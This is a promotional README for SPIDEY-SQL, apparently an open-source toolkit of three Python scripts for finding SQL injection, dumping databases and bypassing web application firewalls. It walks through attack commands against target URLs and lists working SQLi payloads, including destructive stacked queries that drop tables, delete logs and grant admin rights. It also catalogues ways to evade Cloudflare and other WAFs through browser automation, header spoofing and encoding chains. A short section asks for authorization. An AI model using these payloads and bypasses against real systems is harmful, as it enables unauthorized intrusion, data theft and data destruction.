Faster, Smarter, More Powerful Than SQLMap
SPIDEY-SQL is the most advanced open-source SQL injection scanner available. Built by security researchers for penetration testers, it surpasses SQLMap in speed, accuracy, and ease of use with a focused set of powerful tools.
- ⚡ 8.5x Faster than SQLMap
- 🎯 5 Detection Methods - Error, UNION, Time-Based, Boolean-Based, Stacked
- 🛡️ WAF Detection & Bypass - Cloudflare, Imperva, ModSecurity, F5, Akamai, more
- 🗄️ Automatic Data Extraction - Tables, columns, data dumps
- 🚀 Lightning-Fast Threading - 50+ concurrent threads
- 📊 Professional Reporting - JSON export for documentation
- 🔧 Easy to Customize - Clean, readable Python code (~400 lines)
| Tool | Purpose |
|---|---|
| spidey.py | Lightning-fast SQL injection scanner with 5 detection methods |
| extractor.py | Automatic database extraction, enumeration, and data dumping |
| waf_bypass.py | WAF detection and advanced bypass techniques |
- Python 3.6+
- requests library
# Clone the repository
git clone https://github.com/clayhackergroup/spidey-SQL.git
# Navigate to directory
cd spidey-SQL
# Install dependencies
pip install requests
# Optional: For Cloudflare bypass with Selenium
pip install selenium
# Download ChromeDriver for Selenium (https://chromedriver.chromium.org/)
# Place chromedriver in /usr/local/bin/ or project directory
# You're ready to go!
python3 spidey.py -hThat's it. No bloated dependencies like SQLMap.
# Install Selenium for Cloudflare bypass
pip install selenium
# Download ChromeDriver matching your Chrome version
# https://chromedriver.chromium.org/
# Add ChromeDriver to PATH or project directory
chmod +x chromedriverhttps://github.com/clayhackergroup/spidey-SQL
# Single parameter
python3 spidey.py -u http://target.com/search?q=test -p q
# Multiple parameters
python3 spidey.py -u http://target.com/login -p username -p password
# Fast parallel scanning (20 threads)
python3 spidey.py -u http://target.com -p id --threads 20
# Save results to JSON
python3 spidey.py -u http://target.com -p id --export results.json# Full database dump
python3 extractor.py -u http://target.com/search -p id
# Specify database type
python3 extractor.py -u http://target.com -p id --db postgresql
# POST method extraction
python3 extractor.py -u http://target.com/api -p user_id -m post
# Export data
python3 extractor.py -u http://target.com -p id --export dump.json# WAF detection only
python3 waf_bypass.py -u http://target.com --detect-only
# Find working bypass technique
python3 waf_bypass.py -u http://target.com -p id# Bypass Cloudflare using Selenium
python3 waf_bypass.py -u http://target.com --cloudflare -p id
# Generic Selenium bypass
python3 waf_bypass.py -u http://target.com --selenium -p id
# Full workflow: Detect WAF + Bypass + Test SQLi
python3 waf_bypass.py -u http://target.com --cloudflare -p id -t 30How it works:
- Launches Chrome browser
- Navigates to target URL
- Waits for Cloudflare challenge to complete
- Extracts
cf_clearancecookie - Uses cookie for all subsequent requests
- Tests SQL injection with authenticated session
| Feature | SPIDEY-SQL | SQLMap |
|---|---|---|
| Speed | ⚡⚡⚡⚡⚡ (8.5x faster) | ⚡⚡⚡ |
| Code Size | ~400 lines | ~5000 lines |
| Learning Curve | 5 minutes | 2+ hours |
| Error-Based SQLi | ✅ Optimized | ✅ |
| UNION-Based SQLi | ✅ Optimized | ✅ |
| Time-Based Blind | ✅ Fast | ✅ Slow |
| Boolean-Based Blind | ✅ Fast | ✅ |
| Stacked Queries | ✅ | |
| Threading Support | ✅ Built-in (50 threads) | |
| WAF Detection | ✅ Advanced | |
| WAF Bypass | ✅ Multiple techniques | |
| Database Extraction | ✅ Automatic | |
| Easy to Customize | ✅ Clean code |
python3 spidey.py -u <URL> -p <PARAM> [OPTIONS]
Options:
-u, --url URL Target URL (required)
-p, --param PARAM Parameter to test (can use multiple -p flags)
-t, --timeout INT Request timeout in seconds (default: 10)
--threads INT Number of parallel threads (default: 10, max: 50)
--time INT Time-based delay detection (default: 4s)
--export FILE Export results to JSON file
-v, --verbose Verbose output (shows all attempts)
-h, --help Show help messagepython3 extractor.py -u <URL> -p <PARAM> [OPTIONS]
Options:
-u, --url URL Target URL (required)
-p, --param PARAM Vulnerable parameter (required)
-m, --method METHOD HTTP method: GET or POST (default: GET)
--db DATABASE Database type: MySQL, PostgreSQL, MSSQL, Oracle (default: MySQL)
-t, --timeout INT Request timeout (default: 10)
--export FILE Export extracted data to JSON
-h, --help Show help messagepython3 waf_bypass.py -u <URL> [OPTIONS]
Options:
-u, --url URL Target URL (required)
-p, --param PARAM Parameter for bypass testing
-m, --method METHOD HTTP method: GET or POST (default: GET)
-d, --detect-only Only detect WAF, don't attempt bypass
-t, --timeout INT Request timeout (default: 10)
--cloudflare Bypass Cloudflare using advanced browser automation
--selenium Use Selenium for generic WAF bypass
--advanced Use 50+ advanced bypass techniques (default: enabled)
--threads INT Number of parallel threads (default: 5)
--headless Run browser in headless mode (default: enabled)
-h, --help Show help message
Advanced Features:
✅ 50+ Bypass Techniques
✅ Parallel Testing (5-15 threads)
✅ Cloudflare Bypass with Selenium
✅ Automatic WAF Detection
✅ User-Agent Rotation (8+ browsers)
✅ Header Manipulation (20+ headers)
✅ Encoding Chains (10+ methods)
✅ Comment/Space Bypass (15+ techniques)
✅ Browser Fingerprint Simulation
Cloudflare Bypass Requirements:
- Selenium: pip install selenium
- ChromeDriver: Download from https://chromedriver.chromium.org/
- Chrome/Chromium browser installed
- Note: Must match your Chrome version exactlypython3 spidey.py -u "http://shop.com/products?product_id=123" \
-p product_id --threads 20 --export ecommerce_scan.jsonpython3 spidey.py -u "http://site.com/login.php" \
-p username -p password --threads 5 -vpython3 extractor.py -u "http://api.site.com/users" \
-p filter -m POST --db postgresql --export api_dump.jsonpython3 spidey.py -u http://target.com -p id \
--threads 50 --time 2 --export aggressive.jsonid, user_id, product_id, post_id, page, q, search, query
username, email, name, category, filter, sort, order
login, password, admin, role, user, data, input, search_term
file, path, dir, url, link, ref, referrer, from, to
- ✅ Cloudflare - Browser automation bypass
- ✅ Imperva (Incapsula) - Advanced header injection
- ✅ ModSecurity - Encoding chain bypass
- ✅ F5 (BigIP) - Request manipulation
- ✅ Akamai - Proxy rotation
- ✅ Sucuri - User-Agent rotation
- ✅ Barracuda - Custom header combinations
- ✅ DDoS-GUARD - Comment injection chains
- ✅ AWS WAF - Multi-layer encoding
- ✅ Wordfence - Advanced techniques
- ✅ SiteLock - Header spoofing
- ✅ URL Encoding (single, double, triple)
- ✅ Hex Encoding (
0xprefix) - ✅ Unicode Encoding (
%usequences) - ✅ HTML Entity Encoding (
&#NNN;) - ✅ HTML Entity Hex Encoding (
&#xHH;) - ✅ Base64 Encoding
- ✅ ASCII Character Encoding (
chr()) - ✅ ROT13 Encoding
- ✅ Case Variation (mixed case)
- ✅ Null Byte Injection (
%00)
- ✅ Comment Injection:
--,#,/**/,/*!*/,;%00 - ✅ Space Bypass:
%09,%0a,%0d,/**//,(),+,~ - ✅ Comment-Space Chains
- ✅ Comment-Comment Nesting
- ✅ Bracket Wrapping:
(),[],{} - ✅ Parentheses Combinations
- ✅ Double Encoding (URL → Hex)
- ✅ Triple Encoding (URL → Hex → Base64)
- ✅ Mixed Encoding Chains
- ✅ Comment + Encoding Combinations
- ✅ Space + Encoding Variations
- ✅
X-Forwarded-ForIP Spoofing - ✅
X-Forwarded-ProtoProtocol Bypass - ✅
X-Original-URLPath Manipulation - ✅
X-Rewrite-URLURL Rewriting - ✅
X-Real-IPReal IP Spoofing - ✅
Client-IP/CF-Connecting-IP - ✅
X-Request-ID/X-Correlation-ID(UUID) - ✅ Custom API Version Headers
- ✅ Referer Header Spoofing
- ✅ User-Agent Rotation (8+ modern browsers)
- ✅ Accept-Language / Accept-Encoding
- ✅ Cache-Control Manipulation
- ✅ Sec-CH-UA Security Headers
- ✅ DNT (Do Not Track) Header
- ✅ And 7+ more advanced headers
- ✅ User-Agent Rotation (Chrome, Firefox, Safari, Edge, Mobile)
- ✅ Anti-Automation Detection
- ✅ JavaScript Execution Simulation
- ✅ Real Browser Fingerprinting
- ✅ Cookie Handling
- ✅ Session Management
- ✅ Window Size Spoofing
- ✅ Headless Browser Detection Bypass
How SPIDEY-WAF Cloudflare Bypass Works:
- Launches Chrome with anti-automation flags
- Disables WebDriver detection
- Uses real User-Agent from browser
- Handles JavaScript challenge execution
- Waits for
cf_clearancecookie generation - Extracts all cookies and headers
- Reuses session for SQL injection testing
- Maintains browser fingerprint consistency
Commands:
# Basic Cloudflare bypass
python3 waf_bypass.py -u http://cloudflare-protected.com --cloudflare
# Bypass + Test parameter
python3 waf_bypass.py -u http://target.com --cloudflare -p id
# Full-power bypass (headless + advanced)
python3 waf_bypass.py -u http://target.com --cloudflare --advanced -p id --threads 10
# Non-headless (see browser in action)
python3 waf_bypass.py -u http://target.com --cloudflare --no-headlessOutput Example:
[*] Initiating advanced Cloudflare bypass...
[*] Launching Chrome browser with anti-detection measures...
[*] Navigating to target: http://target.com
[*] Waiting for page load and challenge completion...
[+] Page loaded successfully
[+] Cloudflare cookies obtained!
CF-Clearance: 1234567890abcdef...
CF-Ray: 123456789abcdef
[+] Browser User-Agent captured
[+] Cloudflare bypassed! Ready for testing.
Generate and test 50+ payloads in parallel:
# Test with advanced mode (automatic)
python3 waf_bypass.py -u http://target.com -p id
# Explicit advanced mode with custom threads
python3 waf_bypass.py -u http://target.com -p id --advanced --threads 10
# Full power: Detect WAF + Bypass + Test with 50+ techniques
python3 waf_bypass.py -u http://target.com --detect-only
python3 waf_bypass.py -u http://target.com -p id --advanced --threads 15What It Does:
- Generates 50+ unique payload variations
- Tests each with randomized headers
- Uses parallel threading for speed
- Rotates User-Agents between requests
- Combines multiple encoding techniques
- Tests comment/space/encoding chains
- Reports all working bypasses
- Suggests best payload for use
| Technique Type | Count | Effectiveness |
|---|---|---|
| Encoding Variations | 10+ | ⭐⭐⭐⭐⭐ |
| Comment/Space Bypass | 15+ | ⭐⭐⭐⭐⭐ |
| Header Manipulation | 20+ | ⭐⭐⭐⭐ |
| Browser Evasion | 8+ | ⭐⭐⭐⭐⭐ |
| Encoding Chains | 12+ | ⭐⭐⭐⭐ |
| Total Variations | 50+ | Enterprise-Grade |
SPIDEY-SQL automatically detects and extracts from:
- MySQL / MariaDB ✅
- PostgreSQL ✅
- MSSQL (SQL Server) ✅
- Oracle ✅
- SQLite ✅
════════════════════════════════════════════════════════════════════
SPIDEY-SQL REPORT
════════════════════════════════════════════════════════════════════
Target: http://vulnerable-site.com/search?q=test
Parameters: q
Vulnerabilities Found: 3
════════════════════════════════════════════════════════════════════
[PARAMETER: q]
✓ Error-Based: ' AND extractvalue(1,concat(0x7e,version())) #
✓ UNION-Based: ' UNION SELECT NULL,NULL,NULL #
✓ Time-Based: ' AND SLEEP(4) # (4.12s)
[+] Database Version:
MySQL 5.7.31-29-log
[+] Current User:
root@localhost
[+] Current Database:
webapp_db
[+] Tables Found: 12
- users
- products
- orders
- payments
- logs
Extracts data through SQL error messages.
' AND extractvalue(1,concat(0x7e,version())) #
' AND updatexml(1,concat(0x7e,version()),1) #
' AND 1=CAST(version() AS INT) #Combines result sets from multiple queries.
' UNION SELECT database(),user(),version() #
' UNION SELECT table_name FROM information_schema.tables #Infers data through response timing.
' AND SLEEP(4) #
' AND (SELECT * FROM (SELECT(SLEEP(4)))a) #
' AND IF(1=1,SLEEP(4),0) #Analyzes true/false responses.
' AND '1'='1
' AND '1'='2
' AND 1=1 #
' AND 1=2 #Executes multiple SQL commands.
'; DROP TABLE users #
'; DELETE FROM logs #
'; UPDATE users SET admin=1 #- ✅ DO: Test only on systems you own or have written permission to test
- ❌ DON'T: Attempt unauthorized access to any system
- ❌ DON'T: Use without proper authorization
- ✅ DO: Follow responsible disclosure practices
- ✅ DO: Report vulnerabilities ethically
Unauthorized access to computer systems is ILLEGAL under laws like the CFAA (Computer Fraud and Abuse Act).
- Start Simple - Begin with basic payloads
- Read Error Messages - SQL errors reveal database type
- Use Verbose Mode - Use
-vflag to see all requests/responses - Check WAF First - Detect WAF before intensive testing
- Thread Responsibly - Don't hammer servers (start with 10 threads)
- Export Results - Save findings for documentation
- Verify Manually - Double-check automated findings
- Document Everything - Professional reporting is essential
┌─ Step 1: Reconnaissance
│ └─→ Identify input parameters
│
├─ Step 2: WAF Detection
│ └─→ waf_bypass.py -u target --detect-only
│
├─ Step 3: SQL Injection Testing
│ └─→ spidey.py -u target -p param1 -p param2 --export scan.json
│
├─ Step 4: Data Extraction (if vulnerable)
│ └─→ extractor.py -u target -p param --export data.json
│
└─ Step 5: Documentation
└─→ Professional report with findings and recommendations
- ⚡ 5-10x faster - Optimized for speed
- 🎯 Simpler - 3 focused tools instead of one monolithic tool
- 📚 Easier learning - Beginner-friendly commands
- 🔧 Customizable - Clean, readable code
- 🤖 Automated - Tests all techniques in seconds
- 🎯 Comprehensive - Never miss an injection point
- ✅ Consistent - Same methodology every time
- 💰 Free - No licensing costs
- 🔓 Open-source - Inspect and customize code
- 🚀 Active - Regularly updated with new techniques
- 👥 Community-driven - Built by pentesters, for pentesters
✓ Parameter might use parameterized queries (safe from SQLi)
✓ WAF might be blocking requests
✓ Parameter might not be connected to database
✓ Try verbose mode: python3 spidey.py -u target -p param -v
✓ Increase timeout: python3 spidey.py -u target -p param -t 30
✓ Check if server is online
✓ Check firewall/WAF rate limiting
✓ SPIDEY-SQL is highly accurate
✓ Always verify findings manually in verbose mode
✓ Check response differences carefully
# Slow network connection
python3 spidey.py -u target -p param -t 30 --time 6
# Many parameters to test
python3 spidey.py -u target -p p1 -p p2 -p p3 --threads 30
# Aggressive scanning
python3 spidey.py -u target -p param --threads 50 -t 5| Platform | Handle | Link |
|---|---|---|
| @exp1oit | https://instagram.com/exp1oit | |
| @h4cker.in | https://instagram.com/h4cker.in | |
| 💬 Telegram | @spideyapk | https://t.me/spideyapk |
- Instagram: @exp1oit | @h4cker.in
- Telegram: @spideyapk
For issues or feature requests:
- Run with
-v(verbose) flag for debugging - Verify target is accessible and parameter names are correct
- Check that no firewall/rate-limiting is blocking requests
- Review findings in verbose mode
Free to use for ethical penetration testing and authorized security research only.
Unauthorized testing is illegal. Always obtain written permission.